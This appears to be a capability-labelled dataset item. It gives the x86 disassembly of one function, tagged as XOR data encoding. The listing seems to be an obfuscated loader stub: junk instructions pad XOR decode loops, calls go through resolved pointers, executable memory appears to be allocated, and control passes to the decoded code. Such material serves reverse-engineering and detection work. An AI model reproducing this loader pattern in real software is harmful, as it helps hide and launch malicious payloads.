Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x90dd316b
and edi, esi
mov edi, 0x9d681a2a
popal
mov edi, 0x541e6c7c
inc edi
sub edi, esi
mov ecx, 0
mov edx, esi
add eax, 0x25fca757
add eax, 0x706ed416
mov edi, edx
and eax, ebx
not ebx
mov esi, edi
sub eax, 0xe5e8f86a
dec eax
inc ecx
sub ebx, 0xd098bac3
mov eax, 0xc27ae1fd
cmp ecx, 0x100f6ae
jne 0xa789c7
add eax, 0xc63a493a
dec ebx
sub esi, edi
sub edi, 0x8acd301
add esi, esi
mov edi, 0xa78796
mov edx, 0xa2d7f277
mov ecx, edx
not edx
mov ebx, 0xa7898a
sub eax, 0x53fdc456
or ecx, edx
mov esi, dword [edi]
and ecx, edx
dec ecx
and esi, 0xff
sub edx, 0x81dc4483
not edx
not edx
xor dword [ebx], esi
add eax, 0xf8cc1f4
and edx, ecx
inc ebx
sub eax, 0x55c62263
sub ecx, 0xf5fb3f66
inc ecx
inc edi
add ecx, eax
not ecx
sub eax, edx
cmp ebx, entry0
jl 0xa78a28
inc ecx
add edx, eax
dec ecx
and eax, eax
dec eax
or ebx, edi
not edi
mov edx, 0xa7898e
or ecx, ecx
add esi, ecx
mov edx, dword [edx]
add ecx, ebx
mov ebx, 0xd4876dd1
mov edx, dword [edx]
sub esi, 0x4ad75191
inc edi
sub esp, 4
mov dword [esp], edx
sub ebx, 0xfe8519b5
inc ecx
mov edx, 0xa7898a
or ecx, ecx
dec edi
mov edx, dword [edx]
mov esi, ebx
and ebx, ebx
dec ecx
mov edx, dword [edx]
or ecx, edi
sub edi, esi
push 0xa78992
mov esi, ebx
inc ebx
or ebx, esi
call edx
add ecx, 1
sub edi, 0xe229fd67
pop edx
mov ebx, 0xd1062743
sub edi, ebx
not esi
sub esp, 4
mov dword [esp], 0xa7899f
sub ecx, esi
and edi, ebx
push eax
add ecx, 0x649c88f3
mov edi, esi
call edx
not ebx
and ebx, esi
sub esp, 4
mov dword [esp], 0x40
dec edi
sub ebx, ecx
push 0x3000
mov edi, esi
inc esi
and esi, ebx
push 0x2000033b
mov ecx, 0xbd24b3d7
add ebx, 0x77138959
not ebx
push 0
inc edi
sub edi, 0xd595f73d
add ebx, edi
call eax
add ebx, 0xa60ffbe8
sub esi, ecx
add eax, 0x2000027a
or esi, edi
sub esi, 0xb72a6668
add esi, edi
mov edx, 0xc2935544
add ebx, ecx
add esi, 0xc0d2f25c
mov dword [eax], edx
sub ebx, 0x2361cf46
mov esi, 0xd8a9bc84
mov edx, dword [eax]
sub ebx, edi
add esi, esi
inc ecx
cmp edx, 0xc2935544
je 0xa78b70
mov edx, 0
mov eax, dword [edx]
sub ebx, ecx
sub esi, 0x666df51
mov ecx, esi
and ebx, edi
add edi, 1
sub esi, edi
mov esi, 0x328445d1
mov ecx, section..pdata
mov esi, 0x180bbcee
inc edi
mov ebx, 0xa78795
sub esi, 0xdaf83484
sub edi, esi
mov eax, 0
not edi
or edi, esi
mov edx, 0xa78796
and esi, esi
mov esi, edi
lea edx, [eax + edx]
mov edi, esi
and edi, edi
sub edi, 0x212567c1
mov edx, dword [edx]
and esi, esi
add edi, edi
and edx, 0xff
mov esi, 0x6a295cee
add edi, 0x7ecd032e
inc eax
add edi, edi
add esi, esi
cmp eax, 0x1f4
jne 0xa78be9
mov eax, 0
or esi, esi
mov esi, edi
sub edi, 1
and esi, esi
or esi, esi
xor dword [ecx], edx
mov esi, edi
mov esi, edi
mov edi, 0x1fbf34e5
add ecx, 2
or edi, esi
add edi, 1
cmp ecx, ebx
jl 0xa78baa
add edi, 1
and edi, edi
sub esi, edi
or edi, edi
or esi, edi
mov ebx, section..pdata
sub esi, edx
inc edx
and edx, edx
mov edi, section..pdata
and edx, esi
inc esi
mov eax, 0xa78795
add edx, 1
sub esi, 1
mov ecx, 0
dec esi
dec edx
mov cl, byte [edi]
add edx, esi
sub edx, 0xda145ba5
or edx, esi
mov byte [ebx], cl
sub edx, 1
sub edx, 1
sub edx, esi
inc ebx
not esi
add esi, 0x7ec9b9fa
add edi, 2
mov edx, 0x4b1941d9
mov edx, esi
cmp edi, eax
jle 0xa78c50
sub esi, edx
mov esi, edx
inc esi
or esi, edi
mov edi, esi
or esi, edi
sub esp, 4
mov dword [esp], 0x8dc6a0
add edi, edi
mov esi, 0x9ab339d2
not esi
ret